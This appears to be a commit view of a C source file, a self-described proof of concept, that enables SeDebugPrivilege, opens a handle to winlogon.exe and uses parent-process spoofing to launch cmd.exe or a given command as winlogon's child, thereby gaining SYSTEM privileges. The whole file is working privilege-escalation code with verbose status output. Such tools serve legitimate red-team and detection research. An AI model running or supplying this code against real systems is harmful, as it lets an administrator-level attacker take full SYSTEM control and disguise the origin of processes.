1+ #include <windows.h>
2+ #include <stdio.h>
3+ #include <tlhelp32.h>
4+ #include <string.h>
5+
6+ // No need to redefine ERROR_INSUFFICIENT_BUFFER as it's already in winerror.h
7+
8+ // Function prototypes
9+ LPWSTR GetWin32ErrorMessage (DWORD errorCode );
10+ void FreeErrorMessage (LPWSTR message );
11+ BOOL EnableSeDebugPrivilege ();
12+ BOOL CreateProcessFromHandle (HANDLE hProcess , LPCWSTR command );
13+ HANDLE OpenWinlogonHandle ();
14+
15+ // Function to enable SeDebugPrivilege
16+ BOOL EnableSeDebugPrivilege () {
17+ HANDLE hToken ;
18+ TOKEN_PRIVILEGES tkp ;
19+ BOOL result = FALSE;
20+
21+ if (!OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , & hToken )) {
22+ LPWSTR errorMsg = GetWin32ErrorMessage (GetLastError ());
23+ wprintf (L"[-] Failed to open process token.\n" );
24+ wprintf (L" |-> %s\n" , errorMsg );
25+ FreeErrorMessage (errorMsg );
26+ return FALSE;
27+ }
28+
29+ if (!LookupPrivilegeValueW (NULL , SE_DEBUG_NAME , & tkp .Privileges [0 ].Luid )) {
30+ LPWSTR errorMsg = GetWin32ErrorMessage (GetLastError ());
31+ wprintf (L"[-] Failed to lookup SeDebugPrivilege.\n" );
32+ wprintf (L" |-> %s\n" , errorMsg );
33+ FreeErrorMessage (errorMsg );
34+ CloseHandle (hToken );
35+ return FALSE;
36+ }
37+
38+ tkp .PrivilegeCount = 1 ;
39+ tkp .Privileges [0 ].Attributes = SE_PRIVILEGE_ENABLED ;
40+
41+ if (!AdjustTokenPrivileges (hToken , FALSE, & tkp , 0 , NULL , NULL )) {
42+ LPWSTR errorMsg = GetWin32ErrorMessage (GetLastError ());
43+ wprintf (L"[-] Failed to adjust token privileges.\n" );
44+ wprintf (L" |-> %s\n" , errorMsg );
45+ FreeErrorMessage (errorMsg );
46+ } else {
47+ DWORD lastError = GetLastError ();
48+ if (lastError == ERROR_NOT_ALL_ASSIGNED ) {
49+ wprintf (L"[-] SeDebugPrivilege could not be enabled. The privilege is not held by the calling process.\n" );
50+ wprintf (L"[!] Make sure you're running as Administrator or have SeDebugPrivilege assigned.\n" );
51+ result = FALSE;
52+ } else {
53+ wprintf (L"[+] SeDebugPrivilege enabled successfully.\n" );
54+ result = TRUE;
55+ }
56+ }
57+
58+ CloseHandle (hToken );
59+ return result ;
60+ }
61+
62+ // Function to get Windows error message
63+ LPWSTR GetWin32ErrorMessage (DWORD errorCode ) {
64+ LPWSTR messageBuffer = NULL ;
65+ DWORD size = FormatMessageW (
66+ FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS ,
67+ NULL ,
68+ errorCode ,
69+ MAKELANGID (LANG_NEUTRAL , SUBLANG_DEFAULT ),
70+ (LPWSTR )& messageBuffer ,
71+ 0 ,
72+ NULL
73+ );
74+
75+ if (size == 0 ) {
76+ // If FormatMessage fails, create a generic error message
77+ messageBuffer = (LPWSTR )LocalAlloc (LMEM_ZEROINIT , 64 * sizeof (WCHAR ));
78+ if (messageBuffer ) {
79+ swprintf (messageBuffer , 64 , L"[ERROR] Code 0x%08X" , errorCode );
80+ }
81+ } else {
82+ // Remove trailing newline characters
83+ while (size > 0 && (messageBuffer [size - 1 ] == L'\r' || messageBuffer [size - 1 ] == L'\n' )) {
84+ messageBuffer [-- size ] = L'\0' ;
85+ }
86+ }
87+
88+ return messageBuffer ;
89+ }
90+
91+ // Function to free error message buffer
92+ void FreeErrorMessage (LPWSTR message ) {
93+ if (message ) {
94+ LocalFree (message );
95+ }
96+ }
97+
98+
99+
100+ BOOL CreateProcessFromHandle (HANDLE hProcess , LPCWSTR command )
101+ {
102+ BOOL status = FALSE;
103+ SIZE_T size = 0 ;
104+ LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = NULL ;
105+ STARTUPINFOEXW si ;
106+ PROCESS_INFORMATION pi ;
107+ DWORD error ;
108+
109+ wprintf (L"[>] Entering CreateProcessFromHandle function...\n" );
110+ wprintf (L"[>] Target command: %s\n" , command );
111+ wprintf (L"[>] Parent handle: 0x%p\n" , hProcess );
112+
113+ ZeroMemory (& si , sizeof (si ));
114+ ZeroMemory (& pi , sizeof (pi ));
115+ si .StartupInfo .cb = sizeof (si );
116+
117+ wprintf (L"[>] Initializing process thread attribute list...\n" );
118+
119+ // Initialize with retry logic similar to C# version
120+ do {
121+ wprintf (L"[>] Calling InitializeProcThreadAttributeList (size=%zu)...\n" , size );
122+ status = InitializeProcThreadAttributeList (pAttrList , 1 , 0 , & size );
123+ error = GetLastError ();
124+ wprintf (L"[>] InitializeProcThreadAttributeList returned: %s (error=%lu, size=%zu)\n" ,
125+ status ? L"TRUE" : L"FALSE" , error , size );
126+
127+ if (!status ) {
128+ if (pAttrList != NULL ) {
129+ wprintf (L"[>] Freeing previous attribute list...\n" );
130+ HeapFree (GetProcessHeap (), 0 , pAttrList );
131+ pAttrList = NULL ;
132+ }
133+
134+ if (error == ERROR_INSUFFICIENT_BUFFER ) {
135+ wprintf (L"[>] Allocating %zu bytes for attribute list...\n" , size );
136+ pAttrList = (LPPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY , size );
137+ if (!pAttrList ) {
138+ LPWSTR errorMsg = GetWin32ErrorMessage (GetLastError ());
139+ wprintf (L"[-] HeapAlloc failed.\n" );
140+ wprintf (L" |-> %s\n" , errorMsg );
141+ FreeErrorMessage (errorMsg );
142+ return FALSE;
143+ }
144+ wprintf (L"[>] Attribute list allocated at: 0x%p\n" , pAttrList );
145+ } else {
146+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
147+ wprintf (L"[-] InitializeProcThreadAttributeList failed with unexpected error.\n" );
148+ wprintf (L" |-> %s\n" , errorMsg );
149+ FreeErrorMessage (errorMsg );
150+ break ; // Exit loop if error is not insufficient buffer
151+ }
152+ }
153+ } while (!status && error == ERROR_INSUFFICIENT_BUFFER );
154+
155+ // Check if initialization was successful
156+ if (!status ) {
157+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
158+ wprintf (L"[-] Failed to initialize thread attribute list.\n" );
159+ wprintf (L" |-> %s\n" , errorMsg );
160+ FreeErrorMessage (errorMsg );
161+
162+ if (pAttrList ) {
163+ HeapFree (GetProcessHeap (), 0 , pAttrList );
164+ }
165+ return FALSE;
166+ }
167+
168+ wprintf (L"[+] Process thread attribute list initialized successfully.\n" );
169+ wprintf (L"[>] Updating process thread attribute...\n" );
170+
171+ // Update process thread attribute
172+ status = UpdateProcThreadAttribute (
173+ pAttrList ,
174+ 0 ,
175+ PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ,
176+ & hProcess ,
177+ sizeof (HANDLE ),
178+ NULL ,
179+ NULL );
180+
181+ if (!status ) {
182+ error = GetLastError ();
183+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
184+ wprintf (L"[-] Failed to update thread attribute.\n" );
185+ wprintf (L" |-> %s\n" , errorMsg );
186+ FreeErrorMessage (errorMsg );
187+
188+ DeleteProcThreadAttributeList (pAttrList );
189+ HeapFree (GetProcessHeap (), 0 , pAttrList );
190+ return FALSE;
191+ }
192+
193+ wprintf (L"[+] Process thread attribute updated successfully.\n" );
194+ si .lpAttributeList = pAttrList ;
195+
196+ wprintf (L"[>] Calling CreateProcessW...\n" );
197+ wprintf (L"[>] Command line: %s\n" , command );
198+
199+ // Create a mutable copy of the command string
200+ int cmdLen = wcslen (command ) + 1 ;
201+ LPWSTR cmdCopy = (LPWSTR )HeapAlloc (GetProcessHeap (), 0 , cmdLen * sizeof (WCHAR ));
202+ if (!cmdCopy ) {
203+ wprintf (L"[-] Failed to allocate memory for command copy.\n" );
204+ DeleteProcThreadAttributeList (pAttrList );
205+ HeapFree (GetProcessHeap (), 0 , pAttrList );
206+ return FALSE;
207+ }
208+ wcscpy (cmdCopy , command );
209+
210+ // Create the process
211+ status = CreateProcessW (
212+ NULL , // lpApplicationName
213+ cmdCopy , // lpCommandLine (must be mutable)
214+ NULL , // lpProcessAttributes
215+ NULL , // lpThreadAttributes
216+ FALSE, // bInheritHandles
217+ EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE , // dwCreationFlags
218+ NULL , // lpEnvironment
219+ NULL , // lpCurrentDirectory
220+ & si .StartupInfo , // lpStartupInfo
221+ & pi ); // lpProcessInformation
222+
223+ wprintf (L"[>] CreateProcessW returned: %s\n" , status ? L"TRUE" : L"FALSE" );
224+
225+ if (!status ) {
226+ error = GetLastError ();
227+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
228+ wprintf (L"[-] Failed to create new process.\n" );
229+ wprintf (L" |-> %s\n" , errorMsg );
230+ FreeErrorMessage (errorMsg );
231+ } else {
232+ wprintf (L"[+] New process is created successfully.\n" );
233+ wprintf (L" |-> PID : %lu\n" , pi .dwProcessId );
234+ wprintf (L" |-> TID : %lu\n" , pi .dwThreadId );
235+ wprintf (L" |-> Process Handle: 0x%p\n" , pi .hProcess );
236+ wprintf (L" |-> Thread Handle: 0x%p\n" , pi .hThread );
237+ CloseHandle (pi .hThread );
238+ CloseHandle (pi .hProcess );
239+ }
240+
241+ // Cleanup
242+ HeapFree (GetProcessHeap (), 0 , cmdCopy );
243+ DeleteProcThreadAttributeList (pAttrList );
244+ HeapFree (GetProcessHeap (), 0 , pAttrList );
245+
246+ wprintf (L"[>] Exiting CreateProcessFromHandle function...\n" );
247+ return status ;
248+ }
249+
250+ HANDLE OpenWinlogonHandle ()
251+ {
252+ HANDLE hSnap ;
253+ PROCESSENTRY32W pe ;
254+ HANDLE hProcess = NULL ;
255+ DWORD error ;
256+
257+ wprintf (L"[>] Searching winlogon PID.\n" );
258+
259+ hSnap = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 );
260+ if (hSnap == INVALID_HANDLE_VALUE ) {
261+ error = GetLastError ();
262+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
263+ wprintf (L"[-] CreateToolhelp32Snapshot failed.\n" );
264+ wprintf (L" |-> %s\n" , errorMsg );
265+ FreeErrorMessage (errorMsg );
266+ return NULL ;
267+ }
268+
269+ pe .dwSize = sizeof (pe );
270+ if (Process32FirstW (hSnap , & pe )) {
271+ do {
272+ if (_wcsicmp (pe .szExeFile , L"winlogon.exe" ) == 0 ) {
273+ wprintf (L"[+] PID of winlogon: %lu\n" , pe .th32ProcessID );
274+ wprintf (L"[>] Trying to get handle to winlogon.\n" );
275+
276+ hProcess = OpenProcess (PROCESS_CREATE_PROCESS , FALSE, pe .th32ProcessID );
277+ if (hProcess == NULL ) {
278+ error = GetLastError ();
279+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
280+ wprintf (L"[-] Failed to get a winlogon handle.\n" );
281+ wprintf (L" |-> %s\n" , errorMsg );
282+ FreeErrorMessage (errorMsg );
283+
284+ // Try with different access rights for debugging
285+ wprintf (L"[>] Trying with PROCESS_ALL_ACCESS...\n" );
286+ hProcess = OpenProcess (PROCESS_ALL_ACCESS , FALSE, pe .th32ProcessID );
287+ if (hProcess == NULL ) {
288+ error = GetLastError ();
289+ LPWSTR errorMsg2 = GetWin32ErrorMessage (error );
290+ wprintf (L"[-] Failed to get winlogon handle with PROCESS_ALL_ACCESS.\n" );
291+ wprintf (L" |-> %s\n" , errorMsg2 );
292+ FreeErrorMessage (errorMsg2 );
293+ } else {
294+ wprintf (L"[+] Got handle to winlogon with PROCESS_ALL_ACCESS (hProcess = 0x%p).\n" , hProcess );
295+ }
296+ } else {
297+ wprintf (L"[+] Got handle to winlogon with PROCESS_CREATE_PROCESS (hProcess = 0x%p).\n" , hProcess );
298+ }
299+ break ;
300+ }
301+ } while (Process32NextW (hSnap , & pe ));
302+ } else {
303+ error = GetLastError ();
304+ LPWSTR errorMsg = GetWin32ErrorMessage (error );
305+ wprintf (L"[-] Process32FirstW failed.\n" );
306+ wprintf (L" |-> %s\n" , errorMsg );
307+ FreeErrorMessage (errorMsg );
308+ }
309+
310+ CloseHandle (hSnap );
311+
312+ if (hProcess == NULL ) {
313+ wprintf (L"[-] Failed to get process ID of winlogon.\n" );
314+ }
315+
316+ return hProcess ;
317+ }
318+
319+ int wmain (int argc , wchar_t * argv [])
320+ {
321+ wprintf (L"[*] If you have SeDebugPrivilege, you can get handles from privileged processes.\n" );
322+ wprintf (L"[*] This PoC tries to spawn a process as winlogon.exe's child process.\n" );
323+
324+ // First, enable SeDebugPrivilege
325+ wprintf (L"[>] Attempting to enable SeDebugPrivilege...\n" );
326+ if (!EnableSeDebugPrivilege ()) {
327+ wprintf (L"[-] Failed to enable SeDebugPrivilege. Continuing anyway...\n" );
328+ wprintf (L"[!] Note: You may need to run as Administrator or have SeDebugPrivilege assigned.\n" );
329+ }
330+
331+ LPCWSTR command = L"C:\\Windows\\System32\\cmd.exe" ;
332+
333+ if (argc > 1 ) {
334+ command = argv [1 ];
335+ wprintf (L"[>] Command parameter detected, launching: %s\n" , command );
336+ } else {
337+ wprintf (L"[>] No command parameter detected, launching cmd.exe\n" );
338+ }
339+
340+ HANDLE hProcess = OpenWinlogonHandle ();
341+ if (hProcess ) {
342+ wprintf (L"[>] Attempting to create process from winlogon handle...\n" );
343+ BOOL success = CreateProcessFromHandle (hProcess , command );
344+ if (success ) {
345+ wprintf (L"[+] Process creation succeeded!\n" );
346+ } else {
347+ wprintf (L"[-] Process creation failed.\n" );
348+ }
349+ CloseHandle (hProcess );
350+ } else {
351+ wprintf (L"[-] Failed to get winlogon handle. Cannot proceed.\n" );
352+ wprintf (L"[!] Make sure you're running as Administrator.\n" );
353+ }
354+
355+ wprintf (L"[*] Press Enter to exit...\n" );
356+ getchar ();
357+ return 0 ;
358+ }
0 commit comments